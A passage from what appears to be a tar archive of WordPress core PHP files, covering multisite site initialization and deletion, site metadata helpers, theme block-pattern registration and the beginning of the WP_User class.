$data['network_id'] = (int) $data['network_id']; } // Sanitize status fields if passed. $status_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted' ); foreach ( $status_fields as $status_field ) { if ( array_key_exists( $status_field, $data ) ) { $data[ $status_field ] = (int) $data[ $status_field ]; } } // Strip date fields if empty. $date_fields = array( 'registered', 'last_updated' ); foreach ( $date_fields as $date_field ) { if ( ! array_key_exists( $date_field, $data ) ) { continue; } if ( empty( $data[ $date_field ] ) || '0000-00-00 00:00:00' === $data[ $date_field ] ) { unset( $data[ $date_field ] ); } } return $data; } /** * Validates data for a site prior to inserting or updating in the database. * * @since 5.1.0 * * @param WP_Error $errors Error object, passed by reference. Will contain validation errors if * any occurred. * @param array $data Associative array of complete site data. See {@see wp_insert_site()} * for the included data. * @param WP_Site|null $old_site The old site object if the data belongs to a site being updated, * or null if it is a new site being inserted. */ function wp_validate_site_data( $errors, $data, $old_site = null ) { // A domain must always be present. if ( empty( $data['domain'] ) ) { $errors->add( 'site_empty_domain', __( 'Site domain must not be empty.' ) ); } // A path must always be present. if ( empty( $data['path'] ) ) { $errors->add( 'site_empty_path', __( 'Site path must not be empty.' ) ); } // A network ID must always be present. if ( empty( $data['network_id'] ) ) { $errors->add( 'site_empty_network_id', __( 'Site network ID must be provided.' ) ); } // Both registration and last updated dates must always be present and valid. $date_fields = array( 'registered', 'last_updated' ); foreach ( $date_fields as $date_field ) { if ( empty( $data[ $date_field ] ) ) { $errors->add( 'site_empty_' . $date_field, __( 'Both registration and last updated dates must be provided.' ) ); break; } // Allow '0000-00-00 00:00:00', although it be stripped out at this point. if ( '0000-00-00 00:00:00' !== $data[ $date_field ] ) { $month = substr( $data[ $date_field ], 5, 2 ); $day = substr( $data[ $date_field ], 8, 2 ); $year = substr( $data[ $date_field ], 0, 4 ); $valid_date = wp_checkdate( $month, $day, $year, $data[ $date_field ] ); if ( ! $valid_date ) { $errors->add( 'site_invalid_' . $date_field, __( 'Both registration and last updated dates must be valid dates.' ) ); break; } } } if ( ! empty( $errors->errors ) ) { return; } // If a new site, or domain/path/network ID have changed, ensure uniqueness. if ( ! $old_site || $data['domain'] !== $old_site->domain || $data['path'] !== $old_site->path || $data['network_id'] !== $old_site->network_id ) { if ( domain_exists( $data['domain'], $data['path'], $data['network_id'] ) ) { $errors->add( 'site_taken', __( 'Sorry, that site already exists!' ) ); } } } /** * Runs the initialization routine for a given site. * * This process includes creating the site's database tables and * populating them with defaults. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Roles $wp_roles WordPress role management object. * * @param int|WP_Site $site_id Site ID or object. * @param array $args { * Optional. Arguments to modify the initialization behavior. * * @type int $user_id Required. User ID for the site administrator. * @type string $title Site title. Default is 'Site %d' where %d is the * site ID. * @type array $options Custom option $key => $value pairs to use. Default * empty array. * @type array $meta Custom site metadata $key => $value pairs to use. * Default empty array. * } * @return true|WP_Error True on success, or error object on failure. */ function wp_initialize_site( $site_id, array $args = array() ) { global $wpdb, $wp_roles; if ( empty( $site_id ) ) { return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) ); } $site = get_site( $site_id ); if ( ! $site ) { return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) ); } if ( wp_is_site_initialized( $site ) ) { return new WP_Error( 'site_already_initialized', __( 'The site appears to be already initialized.' ) ); } $network = get_network( $site->network_id ); if ( ! $network ) { $network = get_network(); } $args = wp_parse_args( $args, array( 'user_id' => 0, /* translators: %d: Site ID. */ 'title' => sprintf( __( 'Site %d' ), $site->id ), 'options' => array(), 'meta' => array(), ) ); /** * Filters the arguments for initializing a site. * * @since 5.1.0 * * @param array $args Arguments to modify the initialization behavior. * @param WP_Site $site Site that is being initialized. * @param WP_Network $network Network that the site belongs to. */ $args = apply_filters( 'wp_initialize_site_args', $args, $site, $network ); $orig_installing = wp_installing(); if ( ! $orig_installing ) { wp_installing( true ); } $switch = false; if ( get_current_blog_id() !== $site->id ) { $switch = true; switch_to_blog( $site->id ); } require_once ABSPATH . 'wp-admin/includes/upgrade.php'; // Set up the database tables. make_db_current_silent( 'blog' ); $home_scheme = 'http'; $siteurl_scheme = 'http'; if ( ! is_subdomain_install() ) { if ( 'https' === parse_url( get_home_url( $network->site_id ), PHP_URL_SCHEME ) ) { $home_scheme = 'https'; } if ( 'https' === parse_url( get_network_option( $network->id, 'siteurl' ), PHP_URL_SCHEME ) ) { $siteurl_scheme = 'https'; } } // Populate the site's options. populate_options( array_merge( array( 'home' => untrailingslashit( $home_scheme . '://' . $site->domain . $site->path ), 'siteurl' => untrailingslashit( $siteurl_scheme . '://' . $site->domain . $site->path ), 'blogname' => wp_unslash( $args['title'] ), 'admin_email' => '', 'upload_path' => get_network_option( $network->id, 'ms_files_rewriting' ) ? UPLOADBLOGSDIR . "/{$site->id}/files" : get_blog_option( $network->site_id, 'upload_path' ), 'blog_public' => (int) $site->public, 'WPLANG' => get_network_option( $network->id, 'WPLANG' ), ), $args['options'] ) ); // Clean blog cache after populating options. clean_blog_cache( $site ); // Populate the site's roles. populate_roles(); $wp_roles = new WP_Roles(); // Populate metadata for the site. populate_site_meta( $site->id, $args['meta'] ); // Remove all permissions that may exist for the site. $table_prefix = $wpdb->get_blog_prefix(); delete_metadata( 'user', 0, $table_prefix . 'user_level', null, true ); // Delete all. delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true ); // Delete all. // Install default site content. wp_install_defaults( $args['user_id'] ); // Set the site administrator. add_user_to_blog( $site->id, $args['user_id'], 'administrator' ); if ( ! user_can( $args['user_id'], 'manage_network' ) && ! get_user_meta( $args['user_id'], 'primary_blog', true ) ) { update_user_meta( $args['user_id'], 'primary_blog', $site->id ); } if ( $switch ) { restore_current_blog(); } wp_installing( $orig_installing ); return true; } /** * Runs the uninitialization routine for a given site. * * This process includes dropping the site's database tables and deleting its uploads directory. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Site $site_id Site ID or object. * @return true|WP_Error True on success, or error object on failure. */ function wp_uninitialize_site( $site_id ) { global $wpdb; if ( empty( $site_id ) ) { return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) ); } $site = get_site( $site_id ); if ( ! $site ) { return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) ); } if ( ! wp_is_site_initialized( $site ) ) { return new WP_Error( 'site_already_uninitialized', __( 'The site appears to be already uninitialized.' ) ); } $users = get_users( array( 'blog_id' => $site->id, 'fields' => 'ids', ) ); // Remove users from the site. if ( ! empty( $users ) ) { foreach ( $users as $user_id ) { remove_user_from_blog( $user_id, $site->id ); } } $switch = false; if ( get_current_blog_id() !== $site->id ) { $switch = true; switch_to_blog( $site->id ); } $uploads = wp_get_upload_dir(); $tables = $wpdb->tables( 'blog' ); /** * Filters the tables to drop when the site is deleted. * * @since MU (3.0.0) * * @param string[] $tables Array of names of the site tables to be dropped. * @param int $site_id The ID of the site to drop tables for. */ $drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $site->id ); foreach ( (array) $drop_tables as $table ) { $wpdb->query( "DROP TABLE IF EXISTS `$table`" ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared } /** * Filters the upload base directory to delete when the site is deleted. * * @since MU (3.0.0) * * @param string $basedir Uploads path without subdirectory. @see wp_upload_dir() * @param int $site_id The site ID. */ $dir = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $site->id ); $dir = rtrim( $dir, DIRECTORY_SEPARATOR ); $top_dir = $dir; $stack = array( $dir ); $index = 0; while ( $index < count( $stack ) ) { // Get indexed directory from stack. $dir = $stack[ $index ]; // phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged $dh = @opendir( $dir ); if ( $dh ) { $file = @readdir( $dh ); while ( false !== $file ) { if ( '.' === $file || '..' === $file ) { $file = @readdir( $dh ); continue; } if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) ) { $stack[] = $dir . DIRECTORY_SEPARATOR . $file; } elseif ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) ) { @unlink( $dir . DIRECTORY_SEPARATOR . $file ); } $file = @readdir( $dh ); } @closedir( $dh ); } $index++; } $stack = array_reverse( $stack ); // Last added directories are deepest. foreach ( (array) $stack as $dir ) { if ( $dir != $top_dir ) { @rmdir( $dir ); } } // phpcs:enable WordPress.PHP.NoSilencedErrors.Discouraged if ( $switch ) { restore_current_blog(); } return true; } /** * Checks whether a site is initialized. * * A site is considered initialized when its database tables are present. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|WP_Site $site_id Site ID or object. * @return bool True if the site is initialized, false otherwise. */ function wp_is_site_initialized( $site_id ) { global $wpdb; if ( is_object( $site_id ) ) { $site_id = $site_id->blog_id; } $site_id = (int) $site_id; /** * Filters the check for whether a site is initialized before the database is accessed. * * Returning a non-null value will effectively short-circuit the function, returning * that value instead. * * @since 5.1.0 * * @param bool|null $pre The value to return instead. Default null * to continue with the check. * @param int $site_id The site ID that is being checked. */ $pre = apply_filters( 'pre_wp_is_site_initialized', null, $site_id ); if ( null !== $pre ) { return (bool) $pre; } $switch = false; if ( get_current_blog_id() !== $site_id ) { $switch = true; remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 ); switch_to_blog( $site_id ); } $suppress = $wpdb->suppress_errors(); $result = (bool) $wpdb->get_results( "DESCRIBE {$wpdb->posts}" ); $wpdb->suppress_errors( $suppress ); if ( $switch ) { restore_current_blog(); add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 ); } return $result; } /** * Clean the blog cache * * @since 3.5.0 * * @global bool $_wp_suspend_cache_invalidation * * @param WP_Site|int $blog The site object or ID to be cleared from cache. */ function clean_blog_cache( $blog ) { global $_wp_suspend_cache_invalidation; if ( ! empty( $_wp_suspend_cache_invalidation ) ) { return; } if ( empty( $blog ) ) { return; } $blog_id = $blog; $blog = get_site( $blog_id ); if ( ! $blog ) { if ( ! is_numeric( $blog_id ) ) { return; } // Make sure a WP_Site object exists even when the site has been deleted. $blog = new WP_Site( (object) array( 'blog_id' => $blog_id, 'domain' => null, 'path' => null, ) ); } $blog_id = $blog->blog_id; $domain_path_key = md5( $blog->domain . $blog->path ); wp_cache_delete( $blog_id, 'sites' ); wp_cache_delete( $blog_id, 'site-details' ); wp_cache_delete( $blog_id, 'blog-details' ); wp_cache_delete( $blog_id . 'short', 'blog-details' ); wp_cache_delete( $domain_path_key, 'blog-lookup' ); wp_cache_delete( $domain_path_key, 'blog-id-cache' ); wp_cache_delete( $blog_id, 'blog_meta' ); /** * Fires immediately after a site has been removed from the object cache. * * @since 4.6.0 * * @param string $id Site ID as a numeric string. * @param WP_Site $blog Site object. * @param string $domain_path_key md5 hash of domain and path. */ do_action( 'clean_site_cache', $blog_id, $blog, $domain_path_key ); wp_cache_set( 'last_changed', microtime(), 'sites' ); /** * Fires after the blog details cache is cleared. * * @since 3.4.0 * @deprecated 4.9.0 Use {@see 'clean_site_cache'} instead. * * @param int $blog_id Blog ID. */ do_action_deprecated( 'refresh_blog_details', array( $blog_id ), '4.9.0', 'clean_site_cache' ); } /** * Adds metadata to a site. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param bool $unique Optional. Whether the same key should not be added. * Default false. * @return int|false Meta ID on success, false on failure. */ function add_site_meta( $site_id, $meta_key, $meta_value, $unique = false ) { return add_metadata( 'blog', $site_id, $meta_key, $meta_value, $unique ); } /** * Removes metadata matching criteria from a site. * * You can match based on the key, or key and value. Removing based on key and * value, will keep from removing duplicate metadata with the same key. It also * allows removing all metadata matching key, if needed. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. If provided, * rows will only be removed that match the value. * Must be serializable if non-scalar. Default empty. * @return bool True on success, false on failure. */ function delete_site_meta( $site_id, $meta_key, $meta_value = '' ) { return delete_metadata( 'blog', $site_id, $meta_key, $meta_value ); } /** * Retrieves metadata for a site. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $key Optional. The meta key to retrieve. By default, * returns data for all keys. Default empty. * @param bool $single Optional. Whether to return a single value. * This parameter has no effect if `$key` is not specified. * Default false. * @return mixed An array of values if `$single` is false. * The value of meta data field if `$single` is true. * False for an invalid `$site_id` (non-numeric, zero, or negative value). * An empty string if a valid but non-existing site ID is passed. */ function get_site_meta( $site_id, $key = '', $single = false ) { return get_metadata( 'blog', $site_id, $key, $single ); } /** * Updates metadata for a site. * * Use the $prev_value parameter to differentiate between meta fields with the * same key and site ID. * * If the meta field for the site does not exist, it will be added. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param mixed $prev_value Optional. Previous value to check before updating. * If specified, only update existing metadata entries with * this value. Otherwise, update all entries. Default empty. * @return int|bool Meta ID if the key didn't exist, true on successful update, * false on failure or if the value passed to the function * is the same as the one that is already in the database. */ function update_site_meta( $site_id, $meta_key, $meta_value, $prev_value = '' ) { return update_metadata( 'blog', $site_id, $meta_key, $meta_value, $prev_value ); } /** * Deletes everything from site meta matching meta key. * * @since 5.1.0 * * @param string $meta_key Metadata key to search for when deleting. * @return bool Whether the site meta key was deleted from the database. */ function delete_site_meta_by_key( $meta_key ) { return delete_metadata( 'blog', null, $meta_key, '', true ); } /** * Updates the count of sites for a network based on a changed site. * * @since 5.1.0 * * @param WP_Site $new_site The site object that has been inserted, updated or deleted. * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous * state of that site. Default null. */ function wp_maybe_update_network_site_counts_on_update( $new_site, $old_site = null ) { if ( null === $old_site ) { wp_maybe_update_network_site_counts( $new_site->network_id ); return; } if ( $new_site->network_id != $old_site->network_id ) { wp_maybe_update_network_site_counts( $new_site->network_id ); wp_maybe_update_network_site_counts( $old_site->network_id ); } } /** * Triggers actions on site status updates. * * @since 5.1.0 * * @param WP_Site $new_site The site object after the update. * @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous * state of that site. Default null. */ function wp_maybe_transition_site_statuses_on_update( $new_site, $old_site = null ) { $site_id = $new_site->id; // Use the default values for a site if no previous state is given. if ( ! $old_site ) { $old_site = new WP_Site( new stdClass() ); } if ( $new_site->spam != $old_site->spam ) { if ( 1 == $new_site->spam ) { /** * Fires when the 'spam' status is added to a site. * * @since MU (3.0.0) * * @param int $site_id Site ID. */ do_action( 'make_spam_blog', $site_id ); } else { /** * Fires when the 'spam' status is removed from a site. * * @since MU (3.0.0) * * @param int $site_id Site ID. */ do_action( 'make_ham_blog', $site_id ); } } if ( $new_site->mature != $old_site->mature ) { if ( 1 == $new_site->mature ) { /** * Fires when the 'mature' status is added to a site. * * @since 3.1.0 * * @param int $site_id Site ID. */ do_action( 'mature_blog', $site_id ); } else { /** * Fires when the 'mature' status is removed from a site. * * @since 3.1.0 * * @param int $site_id Site ID. */ do_action( 'unmature_blog', $site_id ); } } if ( $new_site->archived != $old_site->archived ) { if ( 1 == $new_site->archived ) { /** * Fires when the 'archived' status is added to a site. * * @since MU (3.0.0) * * @param int $site_id Site ID. */ do_action( 'archive_blog', $site_id ); } else { /** * Fires when the 'archived' status is removed from a site. * * @since MU (3.0.0) * * @param int $site_id Site ID. */ do_action( 'unarchive_blog', $site_id ); } } if ( $new_site->deleted != $old_site->deleted ) { if ( 1 == $new_site->deleted ) { /** * Fires when the 'deleted' status is added to a site. * * @since 3.5.0 * * @param int $site_id Site ID. */ do_action( 'make_delete_blog', $site_id ); } else { /** * Fires when the 'deleted' status is removed from a site. * * @since 3.5.0 * * @param int $site_id Site ID. */ do_action( 'make_undelete_blog', $site_id ); } } if ( $new_site->public != $old_site->public ) { /** * Fires after the current blog's 'public' setting is updated. * * @since MU (3.0.0) * * @param int $site_id Site ID. * @param string $value The value of the site status. */ do_action( 'update_blog_public', $site_id, $new_site->public ); } } /** * Cleans the necessary caches after specific site data has been updated. * * @since 5.1.0 * * @param WP_Site $new_site The site object after the update. * @param WP_Site $old_site The site obejct prior to the update. */ function wp_maybe_clean_new_site_cache_on_update( $new_site, $old_site ) { if ( $old_site->domain !== $new_site->domain || $old_site->path !== $new_site->path ) { clean_blog_cache( $new_site ); } } /** * Updates the `blog_public` option for a given site ID. * * @since 5.1.0 * * @param int $site_id Site ID. * @param string $public The value of the site status. */ function wp_update_blog_public_option_on_site_update( $site_id, $public ) { // Bail if the site's database tables do not exist (yet). if ( ! wp_is_site_initialized( $site_id ) ) { return; } update_blog_option( $site_id, 'blog_public', $public ); } /** * Sets the last changed time for the 'sites' cache group. * * @since 5.1.0 */ function wp_cache_set_sites_last_changed() { wp_cache_set( 'last_changed', microtime(), 'sites' ); } /** * Aborts calls to site meta if it is not supported. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param mixed $check Skip-value for whether to proceed site meta function execution. * @return mixed Original value of $check, or false if site meta is not supported. */ function wp_check_site_meta_support_prefilter( $check ) { if ( ! is_site_meta_supported() ) { /* translators: %s: Database table name. */ _doing_it_wrong( __FUNCTION__, sprintf( __( 'The %s table is not installed. Please run the network database upgrade.' ), $GLOBALS['wpdb']->blogmeta ), '5.1.0' ); return false; } return $check; } block-patterns.php000064400000025301147177035010010213 0ustar00 _x( 'Buttons', 'Block pattern category' ) ) ); register_block_pattern_category( 'columns', array( 'label' => _x( 'Columns', 'Block pattern category' ) ) ); register_block_pattern_category( 'featured', array( 'label' => _x( 'Featured', 'Block pattern category' ) ) ); register_block_pattern_category( 'gallery', array( 'label' => _x( 'Gallery', 'Block pattern category' ) ) ); register_block_pattern_category( 'header', array( 'label' => _x( 'Headers', 'Block pattern category' ) ) ); register_block_pattern_category( 'text', array( 'label' => _x( 'Text', 'Block pattern category' ) ) ); register_block_pattern_category( 'query', array( 'label' => _x( 'Query', 'Block pattern category' ) ) ); } /** * Register Core's official patterns from wordpress.org/patterns. * * @since 5.8.0 * @since 5.9.0 The $current_screen argument was removed. * * @param WP_Screen $deprecated Unused. Formerly the screen that the current request was triggered from. */ function _load_remote_block_patterns( $deprecated = null ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '5.9.0' ); $current_screen = $deprecated; if ( ! $current_screen->is_block_editor ) { return; } } $supports_core_patterns = get_theme_support( 'core-block-patterns' ); /** * Filter to disable remote block patterns. * * @since 5.8.0 * * @param bool $should_load_remote */ $should_load_remote = apply_filters( 'should_load_remote_block_patterns', true ); if ( $supports_core_patterns && $should_load_remote ) { $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $core_keyword_id = 11; // 11 is the ID for "core". $request->set_param( 'keyword', $core_keyword_id ); $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); foreach ( $patterns as $settings ) { $pattern_name = 'core/' . sanitize_title( $settings['title'] ); register_block_pattern( $pattern_name, (array) $settings ); } } } /** * Register `Featured` (category) patterns from wordpress.org/patterns. * * @since 5.9.0 */ function _load_remote_featured_patterns() { $supports_core_patterns = get_theme_support( 'core-block-patterns' ); /** This filter is documented in wp-includes/block-patterns.php */ $should_load_remote = apply_filters( 'should_load_remote_block_patterns', true ); if ( ! $should_load_remote || ! $supports_core_patterns ) { return; } $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $featured_cat_id = 26; // This is the `Featured` category id from pattern directory. $request->set_param( 'category', $featured_cat_id ); $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); foreach ( $patterns as $pattern ) { $pattern_name = sanitize_title( $pattern['title'] ); $registry = WP_Block_Patterns_Registry::get_instance(); // Some patterns might be already registered as core patterns with the `core` prefix. $is_registered = $registry->is_registered( $pattern_name ) || $registry->is_registered( "core/$pattern_name" ); if ( ! $is_registered ) { register_block_pattern( $pattern_name, (array) $pattern ); } } } /** * Registers patterns from Pattern Directory provided by a theme's * `theme.json` file. * * @since 6.0.0 * @access private */ function _register_remote_theme_patterns() { /** This filter is documented in wp-includes/block-patterns.php */ if ( ! apply_filters( 'should_load_remote_block_patterns', true ) ) { return; } if ( ! WP_Theme_JSON_Resolver::theme_has_support() ) { return; } $pattern_settings = WP_Theme_JSON_Resolver::get_theme_data()->get_patterns(); if ( empty( $pattern_settings ) ) { return; } $request = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' ); $request['slug'] = $pattern_settings; $response = rest_do_request( $request ); if ( $response->is_error() ) { return; } $patterns = $response->get_data(); $patterns_registry = WP_Block_Patterns_Registry::get_instance(); foreach ( $patterns as $pattern ) { $pattern_name = sanitize_title( $pattern['title'] ); // Some patterns might be already registered as core patterns with the `core` prefix. $is_registered = $patterns_registry->is_registered( $pattern_name ) || $patterns_registry->is_registered( "core/$pattern_name" ); if ( ! $is_registered ) { register_block_pattern( $pattern_name, (array) $pattern ); } } } /** * Register any patterns that the active theme may provide under its * `./patterns/` directory. Each pattern is defined as a PHP file and defines * its metadata using plugin-style headers. The minimum required definition is: * * /** * * Title: My Pattern * * Slug: my-theme/my-pattern * * * * The output of the PHP source corresponds to the content of the pattern, e.g.: * *

    * * If applicable, this will collect from both parent and child theme. * * Other settable fields include: * * - Description * - Viewport Width * - Categories (comma-separated values) * - Keywords (comma-separated values) * - Block Types (comma-separated values) * - Inserter (yes/no) * * @since 6.0.0 * @access private */ function _register_theme_block_patterns() { $default_headers = array( 'title' => 'Title', 'slug' => 'Slug', 'description' => 'Description', 'viewportWidth' => 'Viewport Width', 'categories' => 'Categories', 'keywords' => 'Keywords', 'blockTypes' => 'Block Types', 'inserter' => 'Inserter', ); /* * Register patterns for the active theme. If the theme is a child theme, * let it override any patterns from the parent theme that shares the same slug. */ $themes = array(); $stylesheet = get_stylesheet(); $template = get_template(); if ( $stylesheet !== $template ) { $themes[] = wp_get_theme( $stylesheet ); } $themes[] = wp_get_theme( $template ); foreach ( $themes as $theme ) { $dirpath = $theme->get_stylesheet_directory() . '/patterns/'; if ( ! is_dir( $dirpath ) || ! is_readable( $dirpath ) ) { continue; } if ( file_exists( $dirpath ) ) { $files = glob( $dirpath . '*.php' ); if ( $files ) { foreach ( $files as $file ) { $pattern_data = get_file_data( $file, $default_headers ); if ( empty( $pattern_data['slug'] ) ) { _doing_it_wrong( '_register_theme_block_patterns', sprintf( /* translators: %s: file name. */ __( 'Could not register file "%s" as a block pattern ("Slug" field missing)' ), $file ), '6.0.0' ); continue; } if ( ! preg_match( '/^[A-z0-9\/_-]+$/', $pattern_data['slug'] ) ) { _doing_it_wrong( '_register_theme_block_patterns', sprintf( /* translators: %1s: file name; %2s: slug value found. */ __( 'Could not register file "%1$s" as a block pattern (invalid slug "%2$s")' ), $file, $pattern_data['slug'] ), '6.0.0' ); } if ( WP_Block_Patterns_Registry::get_instance()->is_registered( $pattern_data['slug'] ) ) { continue; } // Title is a required property. if ( ! $pattern_data['title'] ) { _doing_it_wrong( '_register_theme_block_patterns', sprintf( /* translators: %1s: file name; %2s: slug value found. */ __( 'Could not register file "%s" as a block pattern ("Title" field missing)' ), $file ), '6.0.0' ); continue; } // For properties of type array, parse data as comma-separated. foreach ( array( 'categories', 'keywords', 'blockTypes' ) as $property ) { if ( ! empty( $pattern_data[ $property ] ) ) { $pattern_data[ $property ] = array_filter( preg_split( '/[\s,]+/', (string) $pattern_data[ $property ] ) ); } else { unset( $pattern_data[ $property ] ); } } // Parse properties of type int. foreach ( array( 'viewportWidth' ) as $property ) { if ( ! empty( $pattern_data[ $property ] ) ) { $pattern_data[ $property ] = (int) $pattern_data[ $property ]; } else { unset( $pattern_data[ $property ] ); } } // Parse properties of type bool. foreach ( array( 'inserter' ) as $property ) { if ( ! empty( $pattern_data[ $property ] ) ) { $pattern_data[ $property ] = in_array( strtolower( $pattern_data[ $property ] ), array( 'yes', 'true' ), true ); } else { unset( $pattern_data[ $property ] ); } } // Translate the pattern metadata. $text_domain = $theme->get( 'TextDomain' ); //phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText, WordPress.WP.I18n.NonSingularStringLiteralContext, WordPress.WP.I18n.NonSingularStringLiteralDomain, WordPress.WP.I18n.LowLevelTranslationFunction $pattern_data['title'] = translate_with_gettext_context( $pattern_data['title'], 'Pattern title', $text_domain ); if ( ! empty( $pattern_data['description'] ) ) { //phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText, WordPress.WP.I18n.NonSingularStringLiteralContext, WordPress.WP.I18n.NonSingularStringLiteralDomain, WordPress.WP.I18n.LowLevelTranslationFunction $pattern_data['description'] = translate_with_gettext_context( $pattern_data['description'], 'Pattern description', $text_domain ); } // The actual pattern content is the output of the file. ob_start(); include $file; $pattern_data['content'] = ob_get_clean(); if ( ! $pattern_data['content'] ) { continue; } register_block_pattern( $pattern_data['slug'], $pattern_data ); } } } } } add_action( 'init', '_register_theme_block_patterns' ); class-wp-user.php000064400000054320147177035010007773 0ustar00prefix; self::$back_compat_keys = array( 'user_firstname' => 'first_name', 'user_lastname' => 'last_name', 'user_description' => 'description', 'user_level' => $prefix . 'user_level', $prefix . 'usersettings' => $prefix . 'user-settings', $prefix . 'usersettingstime' => $prefix . 'user-settings-time', ); } if ( $id instanceof WP_User ) { $this->init( $id->data, $site_id ); return; } elseif ( is_object( $id ) ) { $this->init( $id, $site_id ); return; } if ( ! empty( $id ) && ! is_numeric( $id ) ) { $name = $id; $id = 0; } if ( $id ) { $data = self::get_data_by( 'id', $id ); } else { $data = self::get_data_by( 'login', $name ); } if ( $data ) { $this->init( $data, $site_id ); } else { $this->data = new stdClass; } } /** * Sets up object properties, including capabilities. * * @since 3.3.0 * * @param object $data User DB row object. * @param int $site_id Optional. The site ID to initialize for. */ public function init( $data, $site_id = '' ) { if ( ! isset( $data->ID ) ) { $data->ID = 0; } $this->data = $data; $this->ID = (int) $data->ID; $this->for_site( $site_id ); } /** * Returns only the main user fields. * * @since 3.3.0 * @since 4.4.0 Added 'ID' as an alias of 'id' for the `$field` parameter. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $field The field to query against: 'id', 'ID', 'slug', 'email' or 'login'. * @param string|int $value The field value. * @return object|false Raw user object. */ public static function get_data_by( $field, $value ) { global $wpdb; // 'ID' is an alias of 'id'. if ( 'ID' === $field ) { $field = 'id'; } if ( 'id' === $field ) { // Make sure the value is numeric to avoid casting objects, for example, // to int 1. if ( ! is_numeric( $value ) ) { return false; } $value = (int) $value; if ( $value < 1 ) { return false; } } else { $value = trim( $value ); } if ( ! $value ) { return false; } switch ( $field ) { case 'id': $user_id = $value; $db_field = 'ID'; break; case 'slug': $user_id = wp_cache_get( $value, 'userslugs' ); $db_field = 'user_nicename'; break; case 'email': $user_id = wp_cache_get( $value, 'useremail' ); $db_field = 'user_email'; break; case 'login': $value = sanitize_user( $value ); $user_id = wp_cache_get( $value, 'userlogins' ); $db_field = 'user_login'; break; default: return false; } if ( false !== $user_id ) { $user = wp_cache_get( $user_id, 'users' ); if ( $user ) { return $user; } } $user = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE $db_field = %s LIMIT 1", $value ) ); if ( ! $user ) { return false; } update_user_caches( $user ); return $user; } /** * Magic method for checking the existence of a certain custom field. * * @since 3.3.0 * * @param string $key User meta key to check if set. * @return bool Whether the given user meta key is set. */ public function __isset( $key ) { if ( 'id' === $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), 'WP_User->ID' ) ); $key = 'ID'; } if ( isset( $this->data->$key ) ) { return true; } if ( isset( self::$back_compat_keys[ $key ] ) ) { $key = self::$back_compat_keys[ $key ]; } return metadata_exists( 'user', $this->ID, $key ); } /** * Magic method for accessing custom fields. * * @since 3.3.0 * * @param string $key User meta key to retrieve. * @return mixed Value of the given user meta key (if set). If `$key` is 'id', the user ID. */ public function __get( $key ) { if ( 'id' === $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), 'WP_User->ID' ) ); return $this->ID; } if ( isset( $this->data->$key ) ) { $value = $this->data->$key; } else { if ( isset( self::$back_compat_keys[ $key ] ) ) { $key = self::$back_compat_keys[ $key ]; } $value = get_user_meta( $this->ID, $key, true ); } if ( $this->filter ) { $value = sanitize_user_field( $key, $value, $this->ID, $this->filter ); } return $value; } /** * Magic method for setting custom user fields. * * This method does not update custom fields in the database. It only stores * the value on the WP_User instance. * * @since 3.3.0 * * @param string $key User meta key. * @param mixed $value User meta value. */ public function __set( $key, $value ) { if ( 'id' === $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), 'WP_User->ID' ) ); $this->ID = $value; return; } $this->data->$key = $value; } /** * Magic method for unsetting a certain custom field. * * @since 4.4.0 * * @param string $key User meta key to unset. */ public function __unset( $key ) { if ( 'id' === $key ) { _deprecated_argument( 'WP_User->id', '2.1.0', sprintf( /* translators: %s: WP_User->ID */ __( 'Use %s instead.' ), 'WP_User->ID' ) ); } if ( isset( $this->data->$key ) ) { unset( $this->data->$key ); } if ( isset( self::$back_compat_keys[ $key ] ) ) { unset( self::$back_compat_keys[ $key ] ); } } /** * Determines whether the user exists in the database. * * @since 3.4.0 * * @return bool True if user exists in the database, false if not. */ public function exists() { return ! empty( $this->ID ); } /** * Retrieves the value of a property or meta key. * * Retrieves from the users and usermeta table. * * @since 3.3.0 * * @param string $key Property * @return mixed */ public function get( $key ) { return $this->__get( $key ); } /** * Determines whether a property or meta key is set. * * Consults the users and usermeta tables. * * @since 3.3.0 * * @param string $key Property. * @return bool */ public function 